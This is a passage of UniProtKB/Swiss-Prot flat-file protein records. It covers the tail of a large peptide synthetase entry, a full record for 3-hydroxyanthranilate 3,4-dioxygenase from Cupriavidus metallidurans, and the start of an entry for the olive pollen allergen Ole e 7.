FT REGION 3924 4321 Adenylation 4. {ECO:0000255}.
FT REGION 4545 4837 Condensation 4. {ECO:0000255}.
FT REGION 5006 5405 Adenylation 5. {ECO:0000255}.
FT REGION 6023 6315 Condensation 5. {ECO:0000255}.
FT REGION 6481 6766 Adenylation 6. {ECO:0000255}.
FT REGION 7501 7771 Condensation 6. {ECO:0000255}.
FT MOD_RES 826 826 O-(pantetheine 4'-phosphoryl)serine.
FT {ECO:0000255|PROSITE-ProRule:PRU00258}.
FT MOD_RES 1902 1902 O-(pantetheine 4'-phosphoryl)serine.
FT {ECO:0000255|PROSITE-ProRule:PRU00258}.
FT MOD_RES 3417 3417 O-(pantetheine 4'-phosphoryl)serine.
FT {ECO:0000255|PROSITE-ProRule:PRU00258}.
FT MOD_RES 4490 4490 O-(pantetheine 4'-phosphoryl)serine.
FT {ECO:0000255|PROSITE-ProRule:PRU00258}.
FT MOD_RES 5970 5970 O-(pantetheine 4'-phosphoryl)serine.
FT {ECO:0000255|PROSITE-ProRule:PRU00258}.
FT MOD_RES 7431 7431 O-(pantetheine 4'-phosphoryl)serine.
FT {ECO:0000255|PROSITE-ProRule:PRU00258}.
SQ SEQUENCE 7913 AA; 876527 MW; 2F871AB7C5ED426E CRC64;
MPSRILPGKH MPAQGHQRRE ADYWQNALAD CKCATFPAIP ETVEQCLPDA LVEHRFAKLQ
QNGAATSMSN VARAAWALVV ARITNSDDVV FGAVVFGTTR DSNMTIVPVR IETAMDLTIA
AYLGMVQQQE EDMTPFEQTG LSSIMQTCPG AQQACQFQSL LAVHSHESNG ERLDDQRYAL
VLEIRPEEDQ FSALARFDSR VMDHKTVERL LERFELVMTE LCRGGPKMRV QDIHMAGKHD
EEEIWKWNAT VPEAVERCPH HIFEQRSRAH PNKLAVHAWD GVLTYGELDR LSGTLAGRLL
DLGVGPDDLV PLCFEKSMYT VVAMVAVLKA GAGFVLLDPA LPEQRLQIIV DQIQAKIMVS
SVSTYEMSSR MASEVVAISS GFFSEVEPRP CTQSHPPSPS SVMYVVYTSG STGTPKGAAI
THQNHATALY YQAERLGLTD QSRIYDFSSY SFDISIFNAF SALTLGGCLC VPSDYERQDK
LAESITSYNA DFIYLTPTVA RQLSPQKTPT LQTIAFIGEA LHPKDVGIWW DKVRVVNAYG
PSECTTASTL RTSPSTPEEA CSIGKGAGMV TWIVDPNNHN VLLPPGSIGE LLLEGPLIGR
GYLGDAKKNA AAFIKDPAWL IKGASGSKGR SGRLYKTGDL VQYLADGNLK FIGRNDNQVK
IRGNRVELGE VEHALRDCVE TRSVVAEIII PRGSKSSATL AAFLEAEEEE EDDTESEVTA
RMLPVPAEIK DKMAQRLPIY MVPTVLFSMK RLPMTASGKI HRKQLRDIGG RFSARQMVEM
HTKGRAKRQP LSEVEKQVHR IWSQVLGIDA SMIGLDDSFF ELGGDSLGAM EVVSEARKVG
LELTVVDIFK HRSVENVAGQ ARRTTNGSLE ALSPFSLISK DTDVASLIQD MAMDYELDGA
SIQDAFPCTS LQEGLVSLTS KSPGDYVMQG ILELAPDIDV DAFRNAWEQV ATAGQILRTR
ILQSRHHGTL QIVVDESVSW VEATDLDSYL AEDKKKPMEI GQPLVRYALI KDDNAATRWF
VWTIHHSLFD EWSLTLIIDA VTRVYQGKSI TMPHFQPFIK YVEKQRDEKM ANYWRQSLAD
CECPSFPALP PSLEQPVTDG VMEHALHHPQ HDSSVTASTI IRAAWALITS RMTNSDDVVF
GATLSGRGAA VPGVEAIAAP TITTVPVRIR LSREQKVADY LKTVQELATD MIPFEQMGLQ
HIAKLSPGAR QACNFQTLLV IQPHDSSKTQ EVLGKWHLSN QQQSFNTYSL ILEIQLGETM
AARASYDSRV IKPWLVERLL ERLDFLMDQL DNAEPDQAVA EVDTVSGKDI EQLWNWNRTV
PTTSELCIHH VLETQAHSRP DSPALCAWDG QVTYRELNHL AAQLATHLVK RGVGPEVLVP
LYFEKSMWTN VAMLGVLKAG GGFVLLDPSL PEQRLQEMIR QTKAKLLVSS RSNQSASLRL
VPEVVTLGSK FFAELASEPD MNGTKGHKET IGQATPFSTA YVLFTSGSTG TPKGVVITHS
NVTSAVPEHV RCLGYTAASR IYDFASYSFG ASLNNAFAAL MAGGCLCIPS DEDRRSNLAA
SLTALKGTSI LLTPSVAESL SPDSVSGLKT LIFGGEAVRH KDVKPWWGKA KVLTAYGSSE
VTTVATVNTQ ASNMDEAAEI GTGAGGVTWV VDPDDHHKLL PPGCIGELLL EGPLVGSGYL
GDAIKSAEVF IKNPPAWLLE GASGHQGRRG VLYKTGDLVR YNENGNLSYI GRKDAQVKIR
GQRVELGEVE FRVQQCFPEA KQVAAEVVVP CGKKSSPTLA AFLVLDDAQQ ASSSFQTLPV
DTDRMEQLAK QLPSYMVPVL FLAIKEMPMT ASGKMNRRRL RELGGTVTAQ QLADLGTSGQ
VAKRQPRTKL ERQLQALWAR VLNIDASAIG LDDSFYRLGG DSISAMQVSH GARAFHVHIG
VVDILRQRTI SNLAQATGTQ GSTNGATLIN AHAPDQPVTR VDNGPAQLSP IQRLYFVLQN
DPTACFDQFF YLGLRRTTSH QLVSAALETI VRRHGVLRAR FRQNDHGGWE QRISDDVDAS
LLFRVESGVS GTAEAIAKSR AALSITEGPI FSAVLFDKPD HQTLFLTIHH LVIDLVSWRV
LMQELEDIIT NGPLTAPPSM DFPTWSAMQA QYAKESLHAN APDLPESQTN MAYWGMESNP
NLKSGAIVEH FTMDEPTSSL ILGRCNDALG TRPLELMIAA LAYSFSRIFS DCALPAVFSE
GHGREVWHDS LDITTTLGWF STIFPVRVSP GANGLIDFIR ETKDCIRSLS RNGWSYFTSR
FADESNASRF GTDFPVEVMF NYAGFYRNLE RQDGLFEQLS VPENCDPPSC RDVRRFALFD
FDVQVVRGCI VGEVEFHKDM HHRDDIMRWI GEYQSTLRQM ATDLPRISPG WTLSDFPNVF
NTYGDIQEFR NQTLVQLGVE PLDVEDIFPC APLQQGIILA QAKEEANYLR WCDIEIELDA
NQQLDRAKLT DAWKAVVKRH AMLRAVLVDD FPGSSRPMHV VLKDPELGIS WGAETMCFPD
FNKYGLQHRL QVCSFGERRA RLRLHMNHAI TDGFSQSLLC KDLQAAYHDQ LEAAGSYKDF
ILHLENQSQE ARLEFWSQYL AGVEPTLFPT SDCTIPSKVE QVAVPNLDSE SIRAFCAKWD
VTAATIMKLA WGLVLGMYAA TPAPCFGNLY SGRDIPVEGI DSIFGPLIGM IPCCIHLNGS
KGVLDTLKEV QTDYLSTIPY QHSPLAEVHR AAGLLGSRQL FNTLLSYQKN TDETRGNEGG
LTVRVADSYD LTEYDVTIDV VDGTAEIEVL IDFRAGCLST NDAARLAACF SAAVSDIVAN
PLKPTKDLCL LGRRDLDIIW GWNSTVPAAD ERFVHDLIRE RSLAQPHEPA ICAWDGELSY
KELDDLSTRL AGHLHQVGVQ PGALVPLCFE KSLYTSVAML AVVKMGAAFV LLDPSLPEQR
LQSMTQQVGS NLILSSASNR HLCARLCKTV VQVSADFIPT TTSSIPRPKT EPHSTAMFAV
FTSGSTGTPK GIVLTHTNFT TALMHQAEAL GFKETSRVFD FASYAFDLAV HNAFATYVTG
GCLCVPSDED RRGNPASVMK AMRATVVELT PSVSRLIDPA TLPDLETIIM GGEALSVDDV
NRWWGKARIV NIYGPAETHI STVNADAPSP EEATLLGKGS GLVTWIVDPE NRNRLMPPGC
IGELALEGPL VGQGYLNDAQ KTAASFVDDP AWLLQGSPGH SGRHGRVYFS GDLVRYQDHG
SLAFVARKDA QIKIRGQRVE LGEVEHCVQQ CLPEAIRVVV DVITPQGTST PMLSAFLQMD
KAIEVESPAV EVVRIPTDTK NMLSQRLPGY MVPAVFFYMR RLPQTPSGKT DRIQLRQVGG
SFSIQQLATI QTNGQGPKRQ PLSEAERKMQ HIWAQVLNID MASIGLDDNF FELGGDSISV
MKLVAQARKE GLVLTVAAIF RQPTLANVTH QAVAQLEKGP QDLSPFSLLG EGLDVKAFAE
AAMKQHQIPT SVTILDAFPC TPLQEGLLSL SMKRSGNYVL QAKLELSSNI DISRFRNAWE
EVVRSLPILR TRIIEHDSLG LLQAVTDENI SWIETSGLDD YLEADRQQTM GVGQPLARYA
LVGESDARWF VWTVHHVLYD GWSEPLIIKA VNKAYQGSSL DLGPSFQTFI KYIQDSDTSK
MVDYWRQALN DCEAVPFPPP SSSTEVQVAD ASVEQPLPRP RNKKFTASTV IRAAWALVAG
GATDSGDVCF GVTVSGRNAP VPDIERMVGP TFATLPLRVR LSKNQAIADY LETIQQQATD
MIPFEQMGLH RIAKISPGSQ QACNFQTLLV IQPQEEDAGE NVLGEWHDGD QHQWFNTHGL
TILVQISASD ITVKASFNAK VISAWAVQLL LQQLAHVMQQ LDNGGVKALA TIAMATPQDL
EKIWAWNQNV PRPADQCIHE LIADRVRIHP NAPAVCAWDG ELTYQRLDQL SSDLASRLAD
LGVGPAVFVA LCFEKSMWAT VAMLAMVKTG GAFVLLDASL PQQRLKSVVG QVEAAMILTS
STNETLSRQL CENVVIAQDL MTGMQDIVRP LPAPELDSVI YAVFTSGTTG TPKGAIINHR
SSASAVLHQI KGFGYTTETR VYDFSTYSFD GCILNAFTVL AAGGCLCVPT DDGRKNNLAD
SMESLRSNAV FLTPSVAELL SPEQLPSLRS MILGGEAIRV KDIQPWWDAE SVKIITIYGP
SECTPVSMIN PEPTSPENAV RLGWGAGQVT WIVDPEDFNS LTPLGSIGEL LLEGPLVGQG
YLHEPEKTAD AFIMDPVWLL QGVDGRPGRH GRLYKTGDLV RYNQDGSISY IGRKDDQVKL
RGQRVELGEV ERHVRISMPQ AKQAVAEVIV PRSDKSNPAL AVFLQIEDSM MINGVSTENP
PKAAVLLPSA DVLQKLAESL PTYMVPTVFF AMRQLPMGTT GKMDRKELRR IGSSFSAQEL
AQARTAQQGP KRQPASEAER QMQQVWAKVL GIPPASVGRD DNFFQLGGDS ITAMKLVGEA
RKAGLELVVA DMFRYPRLHE AATQAQMLGR NTKVPKMLID GPAEQSFAQA RLWFLEQLYP
GLTWYLMPCI MRLTGPLRLD ALTAAFIALE DRHETLRTTF STREGTNLQH IHAVRSRELT
VVDMSADQES LPHVLSQDET TPFNLENEPG WRVTLYRVGD DEHILSIVLH HIISDGWSID
ILRRELSSFY SAALRGEDPL SNIDPLPIQY KDFSVWQRQQ AQVDEHERQL KYWMTELETS
HPAEFLCDKP RPPTLSGKAD VREVCIDGPV YDKLQEFCRT HGMTPFIVLL AAFRATHYRL
TGDGDGVIGS PNANRDRWEL KDTIGFFVNM QCLRVKIEDE SVTFGELVKL VQSAAISSLA
NQDVPFERLV SKLRKERDLS RHPLIQLVFA VHSQLDLGKF ALEGYEIEYI DQSITTRFDL
EFHFFTEEKG LRGQLIFSTD LFHPDTIDNV LEVFRTVLEK GLNEPQTPVA ALPLMTDGGY
DKLDSMGLIQ VKQTAYPRNS SIVDEFRQQV AACADRVAVK DASSQLTYAQ LDGLSEHVAQ
WLMSKSLAPE TLIGVFCGRS CQSIIAILGI LKANHAYLPF DLKIPASRME GIISSIGHML
VLTGDGVRVP SFALEVEFVM ISEALEHGAR MSSIQRNTCP SPSPSSLAYV MFTSGSTGRP
KGVMVEHRSV LRLIKDDDLR PHGSGIIAHM SNIAFDAATW EIYGALLNGG TVICIDLLTV
LDYAATSRIF AEEKIQAIFI TPALLKQYLS NCPTAIGLLD TIYVGGDRLD PQDVFTARSL
MRGGKVYNGY GPTENTTFST TYRLPVKDIC VNGVAIGRAL SNSGAYVMDT QQCLVPLGVV
GELVVTGDGL ARGYLDSQRN TGRFINVTID GKTVRAYRTG DLARCRPSDG QIECLRRMDA
QVKIRGQRVE LGEIEHVLRN HESVNDAVVT LQQDPQGARL IGFITLDEPD IQHKVQRMEQ
EVDGDDEKKQ VEVWEESFDT DIYAGFDNVK PELIGRDFVG WTSMYDGSEI DKGEMNEWLD
DTIDTILNGG QAGHVLELGS GSGMILFNLC NNGMRSYVGL DPSQKAVEFV TRAAKSMPMA
DKIRMYKGTA TDVGHLGLTT EYDLAIVNSV AQYFPSLKYL TKVVERVLQQ NAKTFFFGDM
RSYAMYKEFT VTRSLYRVGK KPTKDDLRRQ MASMEQMEVE FQVDPAFFTA LPSLLPDLVE
HVEILPKKMQ ATNELSCYRY AAVVHGKGQG LQIRDAEGPW IDFMKDGLHH ESLLKLLQSS
TSPTVSVANI PYSKTIFERH VLDMLGDADG DEDWLSSARQ KANDCASLCA IDLVQLARST
GYQVEISWAR QRSQRGGLDA IFHRHESNGQ RVMFRFPIDD AHQSLSSQPL RQQVKQKIRE
QLRDGMQSQL LPYMIPQAVH ILDKMPVNEN GKVDRRALTE SLQSRATRGP LRQPTSKTQR
QLQAIWAQVL NTDANSIGLD DSFFQVGGDS LGAMRLVGDA RKIGLNLAVA DVFRRPVLRD
MAEGLPLAKA MESIPKTEVD GPVEQSFAQR RLWFLEQLYP GLTWYMMPSA IRLRGHLELD
ALNTAVLALE KRHETLRTTF VSQNDVHLQE VHPFQAKKIR VVSVTEDNLM KALEDDQRTP
FDLKTEPGWR VTVFRLDDTN YLLSIIMHHI VSDGWSVDIL RAELEKFYSA AIRNQDPLAL
VESLPIQYRD FSVWQKQQDQ LDEHQRQLSY WVKQLETSQP AEFLCDKPRP AALSGEAAVE
SLRIDGALYQ QLRTFCRTQS VTPFVALLST FRVAHFFLTG STDATMGTVN ANRDRWEVKD
MIGFFVNMQC IRIRVEAESF KQLVQQVHAT TIASFANQDV PFENIVSQLN RGRDLSRHPL
AQLVFALHSQ MDLGEFVLEG LDTEMVKVPP TTRFDLEFHF FQEQEAFQGE VLYSTDLFDA
QTIRNMLSVF KRVLEAGLGD PNAAITSMSL LSDADYAKLD QMGLVEIDRV DCPDASIVDL
FRQQALLNPD KVAVKDSSSQ LTYAELDQQS DSTARWLAKR CLAPGTLIGV FSSRCCRTVV
ALLGILKANL AYLPFDVHTP RARMEKILGS VDGQTLVLVG NNVQVPEGLD VSFVPIAETL
HEATSEIHIT APNATSLAYV MFTSGSTGNP KGVMINHRGI VRLVKGSNMA SYLPSTPTMA
HITNIAFDVS GWEIYGALLN GGMVVCISAM DVLDFRAVPE IFAREKIQAA IFTPALLKQY
LIQCPPVIGA LTALYVAGDR ADSQDLFMAQ GLMSGHIINA YGPTENSVIS TLYCLQNGER
CVNGVPIGKA ISNSGAYVMD QQQQLVPLGV VGELVVTGDG LARGYTDPGR DIDRFVTVTI
GHKRVKAYRT GDYVRYRTDG QLEFFGRIDG QIKIRGHRVE LGEIEHCLRS HDSVHDAIVV
LQEGQEAQLA AFVTVNEATE DAGQEEDVTD IVNVWGELFD ADTYSTIQDV KPETIGRDFT
GWVSTYTGQD IDKQEMNEWL DDTMATINAY EPRNVLEIGT GTGMILFNLK GVQSYVGLEP
SEKAVEFTVR AAKSMSMLRD KVCVYQGTAA DVKRLPTMLP NLVVINSVAQ YFPSQEYLVK
VIEDVVQLGG VETLFFGDIR SYALNTQFQA SRALRIAGEA ASKDEIRRKM EDIKRADMEL
MVDPAFFTAL AARFKFIHHV EILPKRMKAV NELSCYRYSA VVHLQHDSQL HVHEVESEWI
DFQKNNLNRQ SLLELLGQTS STLAVSNIPF QNTIIERHVV EALDRGQGPD WITSALRNAE
HCPSMSVAGL VELAHLACFQ VEISCARQYS QRGGLDAIFH RQQPSRGDRV LFRFPTDHNR
PSHLLTSRPL RLQLYQTVQE GLFERLQTQL PSYMVPHAIT VVDELPINEN GKVDRRALAA
RTQTRTAARA SIRQPTTDME REMQRIWSHV LHISLDSIGL DDSFFHLGGN SITAMRIVSE
ARKVGFKLSV ADIFRHDVLE DLACHLSPEE EETDIVFVDR PPPVSVLEEI TALGVSVDDV
EDVLPLTSFQ EKIVLDGETV GQHANYFYID LEDLDVSKIQ TSYWATLDKF SILRARFLHL
EGKLWQVVFR QLRLPIHIED VDDVNQAAHQ FCVKDLHEMS STDIPISITL LRHKDGVRLI
LRLSHAQYDG ISFPIILQSL MDEYSGIERP AGPTFGRFLS YAAQQRTKAI TYWTKVLTGS
SLTVPEPILR PKAISGSPQR VYEEAEIDLP QLPSKTTPAT LLSAAWALLL SHITGEDDVV
FGHVVAGRNA AMSGIDEVVG TCLNIVPIRV NLPAAHTPRQ LLLSVQEQFF FGEADLLGFK
DIIEQCTDWP AGTTFDSMIQ HQNIDEHPEI ESAGAASQVQ FFENSHLVPP SLFVVSYPRG
RHLDVKLFGN THILTKEMAK GLIDRLCKIT EELGNLDCSL QVLRDRHGRL SEE
//
ID 3HAO_CUPMC Reviewed; 174 AA.
AC Q1LCS4;
DT 11-JUL-2006, integrated into UniProtKB/Swiss-Prot.
DT 30-MAY-2006, sequence version 1.
DT 07-SEP-2016, entry version 81.
DE RecName: Full=3-hydroxyanthranilate 3,4-dioxygenase {ECO:0000255|HAMAP-Rule:MF_00825};
DE EC=1.13.11.6 {ECO:0000255|HAMAP-Rule:MF_00825};
DE AltName: Full=3-hydroxyanthranilate oxygenase {ECO:0000255|HAMAP-Rule:MF_00825};
DE Short=3-HAO {ECO:0000255|HAMAP-Rule:MF_00825};
DE AltName: Full=3-hydroxyanthranilic acid dioxygenase {ECO:0000255|HAMAP-Rule:MF_00825};
DE Short=HAD {ECO:0000255|HAMAP-Rule:MF_00825};
GN Name=nbaC {ECO:0000255|HAMAP-Rule:MF_00825};
GN OrderedLocusNames=Rmet_5193;
OS Cupriavidus metallidurans (strain ATCC 43123 / DSM 2839 / NBRC 102507
OS / CH34) (Ralstonia metallidurans).
OG Plasmid megaplasmid.
OC Bacteria; Proteobacteria; Betaproteobacteria; Burkholderiales;
OC Burkholderiaceae; Cupriavidus.
OX NCBI_TaxID=266264;
RN [1]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=ATCC 43123 / DSM 2839 / NBRC 102507 / CH34;
RG US DOE Joint Genome Institute;
RA Copeland A., Lucas S., Lapidus A., Barry K., Detter J.C.,
RA Glavina del Rio T., Hammon N., Israni S., Dalin E., Tice H.,
RA Martinez M., Goltsman E., Pitluck S., Schmutz J., Larimer F., Land M.,
RA Hauser L., Kyrpides N., Kim E., Mergeay M., Benotmane M.A.,
RA Vallaeys T., Michaux A., Monchy S., Dunn J., McCorkle S., Taghavi S.,
RA van der Lelie D., Richardson P.;
RT "Complete sequence of the megaplasmid of Ralstonia metallidurans
RT CH34.";
RL Submitted (APR-2006) to the EMBL/GenBank/DDBJ databases.
RN [2]
RP FUNCTION, ENZYME REGULATION, AND IDENTIFICATION BY MASS SPECTROMETRY.
RX PubMed=15909977; DOI=10.1021/bi0473455;
RA Colabroy K.L., Zhai H., Li T., Ge Y., Zhang Y., Liu A., Ealick S.E.,
RA McLafferty F.W., Begley T.P.;
RT "The mechanism of inactivation of 3-hydroxyanthranilate-3,4-
RT dioxygenase by 4-chloro-3-hydroxyanthranilate.";
RL Biochemistry 44:7623-7631(2005).
RN [3]
RP X-RAY CRYSTALLOGRAPHY (1.9 ANGSTROMS) OF NATIVE PROTEIN AND COMPLEXES
RP WITH SUBSTRATES OR INHIBITOR AND IRON, COFACTOR, KINETIC PARAMETERS,
RP MUTAGENESIS OF ARG-47; ARG-99 AND GLU-110, SUBUNIT, AND REACTION
RP MECHANISM.
RX PubMed=15909978; DOI=10.1021/bi047353l;
RA Zhang Y., Colabroy K.L., Begley T.P., Ealick S.E.;
RT "Structural studies on 3-hydroxyanthranilate-3,4-dioxygenase: the
RT catalytic mechanism of a complex oxidation involved in NAD
RT biosynthesis.";
RL Biochemistry 44:7632-7643(2005).
CC -!- FUNCTION: Catalyzes the oxidative ring opening of 3-
CC hydroxyanthranilate to 2-amino-3-carboxymuconate semialdehyde,
CC which spontaneously cyclizes to quinolinate. {ECO:0000255|HAMAP-
CC Rule:MF_00825, ECO:0000269|PubMed:15909977}.
CC -!- CATALYTIC ACTIVITY: 3-hydroxyanthranilate + O(2) = 2-amino-3-
CC carboxymuconate semialdehyde. {ECO:0000255|HAMAP-Rule:MF_00825}.
CC -!- COFACTOR:
CC Name=Fe(2+); Xref=ChEBI:CHEBI:29033;
CC Evidence={ECO:0000255|HAMAP-Rule:MF_00825,
CC ECO:0000269|PubMed:15909978};
CC Note=Binds 2 Fe(2+) ions per subunit. {ECO:0000255|HAMAP-
CC Rule:MF_00825, ECO:0000269|PubMed:15909978};
CC -!- ENZYME REGULATION: Inhibited by 4-chloro-3-hydroxyanthranilate.
CC Mechanism of inactivation involves the oxidation of the catalytic
CC active site Fe(2+) to the catalytically inactive Fe(3+) oxidation
CC state, superoxide production, and formation of two disulfide bonds
CC between Cys-125 and Cys-128, and Cys-162 and Cys-165. Enzyme can
CC be reactivated under reducing conditions.
CC {ECO:0000269|PubMed:15909977}.
CC -!- BIOPHYSICOCHEMICAL PROPERTIES:
CC Kinetic parameters:
CC KM=22.4 uM for 3-hydroxyanthranilate
CC {ECO:0000269|PubMed:15909978};
CC -!- PATHWAY: Cofactor biosynthesis; NAD(+) biosynthesis; quinolinate
CC from L-kynurenine: step 3/3. {ECO:0000255|HAMAP-Rule:MF_00825}.
CC -!- SUBUNIT: Homodimer. {ECO:0000255|HAMAP-Rule:MF_00825,
CC ECO:0000269|PubMed:15909978}.
CC -!- SIMILARITY: Belongs to the 3-HAO family. {ECO:0000255|HAMAP-
CC Rule:MF_00825}.
CC -----------------------------------------------------------------------
CC Copyrighted by the UniProt Consortium, see http://www.uniprot.org/terms
CC Distributed under the Creative Commons Attribution-NoDerivs License
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DR EMBL; CP000353; ABF12052.1; -; Genomic_DNA.
DR RefSeq; WP_011519599.1; NC_007974.2.
DR PDB; 1YFU; X-ray; 1.90 A; A=1-174.
DR PDB; 1YFW; X-ray; 2.00 A; A=1-174.
DR PDB; 1YFX; X-ray; 2.00 A; A=1-174.
DR PDB; 1YFY; X-ray; 3.20 A; A=1-174.
DR PDB; 4HSJ; X-ray; 1.88 A; A=1-174.
DR PDB; 4HSL; X-ray; 2.00 A; A=1-174.
DR PDB; 4HVO; X-ray; 1.75 A; A=1-174.
DR PDB; 4HVQ; X-ray; 2.81 A; A=1-154.
DR PDB; 4HVR; X-ray; 2.70 A; A=1-174.
DR PDB; 4I3P; X-ray; 1.96 A; A=1-174.
DR PDB; 4L2N; X-ray; 1.74 A; A=1-174.
DR PDB; 4R52; X-ray; 1.53 A; A=1-174.
DR PDB; 4WZC; X-ray; 1.84 A; A=1-174.
DR PDBsum; 1YFU; -.
DR PDBsum; 1YFW; -.
DR PDBsum; 1YFX; -.
DR PDBsum; 1YFY; -.
DR PDBsum; 4HSJ; -.
DR PDBsum; 4HSL; -.
DR PDBsum; 4HVO; -.
DR PDBsum; 4HVQ; -.
DR PDBsum; 4HVR; -.
DR PDBsum; 4I3P; -.
DR PDBsum; 4L2N; -.
DR PDBsum; 4R52; -.
DR PDBsum; 4WZC; -.
DR ProteinModelPortal; Q1LCS4; -.
DR SMR; Q1LCS4; 1-174.
DR EnsemblBacteria; ABF12052; ABF12052; Rmet_5193.
DR GeneID; 24153212; -.
DR KEGG; rme:Rmet_5193; -.
DR PATRIC; 20295146; VBIRalMet4734_5615.
DR HOGENOM; HOG000218448; -.
DR KO; K00452; -.
DR OMA; KPPVGNQ; -.
DR OrthoDB; POG091H0LPR; -.
DR BioCyc; CMET266264:GJ5G-5688-MONOMER; -.
DR SABIO-RK; Q1LCS4; -.
DR UniPathway; UPA00253; UER00330.
DR EvolutionaryTrace; Q1LCS4; -.
DR Proteomes; UP000002429; Plasmid megaplasmid CH34.
DR GO; GO:0000334; F:3-hydroxyanthranilate 3,4-dioxygenase activity; IEA:UniProtKB-HAMAP.
DR GO; GO:0008198; F:ferrous iron binding; IEA:UniProtKB-HAMAP.
DR GO; GO:0034354; P:'de novo' NAD biosynthetic process from tryptophan; IEA:UniProtKB-HAMAP.
DR GO; GO:0043420; P:anthranilate metabolic process; IEA:UniProtKB-HAMAP.
DR GO; GO:0019805; P:quinolinate biosynthetic process; IEA:UniProtKB-HAMAP.
DR GO; GO:0006569; P:tryptophan catabolic process; IEA:UniProtKB-HAMAP.
DR Gene3D; 2.60.120.10; -; 1.
DR HAMAP; MF_00825; 3_HAO; 1.
DR InterPro; IPR010329; 3hydroanth_dOase.
DR InterPro; IPR014710; RmlC-like_jellyroll.
DR InterPro; IPR011051; RmlC_Cupin.
DR PANTHER; PTHR15497; PTHR15497; 1.
DR Pfam; PF06052; 3-HAO; 1.
DR SUPFAM; SSF51182; SSF51182; 1.
DR TIGRFAMs; TIGR03037; anthran_nbaC; 1.
PE 1: Evidence at protein level;
KW 3D-structure; Complete proteome; Dioxygenase; Iron; Metal-binding;
KW Oxidoreductase; Plasmid; Pyridine nucleotide biosynthesis;
KW Reference proteome.
FT CHAIN 1 174 3-hydroxyanthranilate 3,4-dioxygenase.
FT /FTId=PRO_0000245477.
FT METAL 51 51 Iron 1; catalytic.
FT METAL 57 57 Iron 1; catalytic.
FT METAL 95 95 Iron 1; catalytic.
FT METAL 125 125 Iron 2.
FT METAL 128 128 Iron 2.
FT METAL 162 162 Iron 2.
FT METAL 165 165 Iron 2.
FT BINDING 47 47 Dioxygen.
FT BINDING 57 57 Substrate.
FT BINDING 99 99 Substrate.
FT BINDING 110 110 Substrate.
FT MUTAGEN 47 47 R->A: Increases KM for 3-
FT hydroxyanthranilate 7-fold. Decreases
FT activity 1000-fold.
FT {ECO:0000269|PubMed:15909978}.
FT MUTAGEN 99 99 R->A: Increases KM for 3-
FT hydroxyanthranilate 40-fold. Decreases
FT activity 5000-fold.
FT {ECO:0000269|PubMed:15909978}.
FT MUTAGEN 110 110 E->A: Decreases KM for 3-
FT hydroxyanthranilate 2-fold. Decreases
FT activity 2000-fold.
FT {ECO:0000269|PubMed:15909978}.
FT HELIX 10 16 {ECO:0000244|PDB:4R52}.
FT HELIX 18 20 {ECO:0000244|PDB:4R52}.
FT TURN 23 25 {ECO:0000244|PDB:4R52}.
FT STRAND 27 33 {ECO:0000244|PDB:4R52}.
FT STRAND 35 41 {ECO:0000244|PDB:4R52}.
FT STRAND 43 45 {ECO:0000244|PDB:4WZC}.
FT STRAND 50 52 {ECO:0000244|PDB:4R52}.
FT STRAND 57 64 {ECO:0000244|PDB:4R52}.
FT STRAND 66 72 {ECO:0000244|PDB:4R52}.
FT STRAND 75 81 {ECO:0000244|PDB:4R52}.
FT STRAND 86 89 {ECO:0000244|PDB:4R52}.
FT STRAND 95 99 {ECO:0000244|PDB:4R52}.
FT STRAND 105 111 {ECO:0000244|PDB:4R52}.
FT STRAND 119 124 {ECO:0000244|PDB:4R52}.
FT TURN 126 128 {ECO:0000244|PDB:4R52}.
FT STRAND 131 137 {ECO:0000244|PDB:4R52}.
FT HELIX 142 145 {ECO:0000244|PDB:4R52}.
FT HELIX 147 154 {ECO:0000244|PDB:4R52}.
FT HELIX 157 160 {ECO:0000244|PDB:4R52}.
FT TURN 163 165 {ECO:0000244|PDB:4R52}.
FT HELIX 171 173 {ECO:0000244|PDB:1YFW}.
SQ SEQUENCE 174 AA; 20028 MW; 385F2E3DEB3947B8 CRC64;
MLTYGAPFNF PRWIDEHAHL LKPPVGNRQV WQDSDFIVTV VGGPNHRTDY HDDPLEEFFY
QLRGNAYLNL WVDGRRERAD LKEGDIFLLP PHVRHSPQRP EAGSACLVIE RQRPAGMLDG
FEWYCDACGH LVHRVEVQLK SIVTDLPPLF ESFYASEDKR RCPHCGQVHP GRAA
//
ID ALL7_OLEEU Reviewed; 21 AA.
AC P81430;
DT 30-MAY-2000, integrated into UniProtKB/Swiss-Prot.
DT 26-JUL-2002, sequence version 2.
DT 01-OCT-2014, entry version 31.
DE RecName: Full=Pollen allergen Ole e 7;
DE AltName: Full=Allergen Ole e VII;
DE AltName: Allergen=Ole e 7;
DE Flags: Fragment;
OS Olea europaea (Common olive).
OC Eukaryota; Viridiplantae; Streptophyta; Embryophyta; Tracheophyta;
OC Spermatophyta; Magnoliophyta; eudicotyledons; Gunneridae;
OC Pentapetalae; asterids; lamiids; Lamiales; Oleaceae; Oleeae; Olea.
OX NCBI_TaxID=4146;
RN [1]
RP PROTEIN SEQUENCE (VARIANTS A AND B), AND IDENTIFICATION BY MASS
RP SPECTROMETRY.
RC TISSUE=Pollen;
RX PubMed=10518824; DOI=10.1016/S0091-6749(99)70290-3;
RA Tejera M.L., Villalba M., Batanero E., Rodriguez R.;
RT "Identification, isolation, and characterization of Ole e 7, a new
RT allergen of olive tree pollen.";
RL J. Allergy Clin. Immunol. 104:797-802(1999).
RN [2]
RP ALLERGEN.
RX PubMed=12173271; DOI=10.1034/j.1398-9995.2002.057s71053.x;
RA Florido Lopez J.F., Quiralte Enriquez J.,
RA Arias de Saavedra Alias J.M., Saenz de San Pedro B.,
RA Martin Casanez E.;
RT "An allergen from Olea europaea pollen (Ole e 7) is associated with
RT plant-derived food anaphylaxis.";
RL Allergy 57:53-59(2002).
RN [3]
RP IDENTIFICATION BY MASS SPECTROMETRY, AND VARIANTS.
RX PubMed=16689547; DOI=10.1021/ac0600508;
RA Napoli A., Aiello D., Di Donna L., Sajjad A., Perri E., Sindona G.;
RT "Profiling of hydrophilic proteins from Olea europaea olive pollen by
RT MALDI TOF mass spectrometry.";
RL Anal. Chem. 78:3434-3443(2006).
RN [4]
RP REVIEW, AND NOMENCLATURE.
RX PubMed=22385802; DOI=10.1016/j.talanta.2012.01.016;
RA Esteve C., Montealegre C., Marina M.L., Garcia M.C.;
RT "Analysis of olive allergens.";
RL Talanta 92:1-14(2012).
CC -!- POLYMORPHISM: Many isoforms of the allergen exist due to
CC polymorphism. They can be classified as isoforms of type A (shown
CC here) and isoforms of type B. A microheterogeneity is detected at
CC positions 4 and 11 of isoforms of type A and at positions 4, 5, 10
CC and 11 of isoforms of type B.
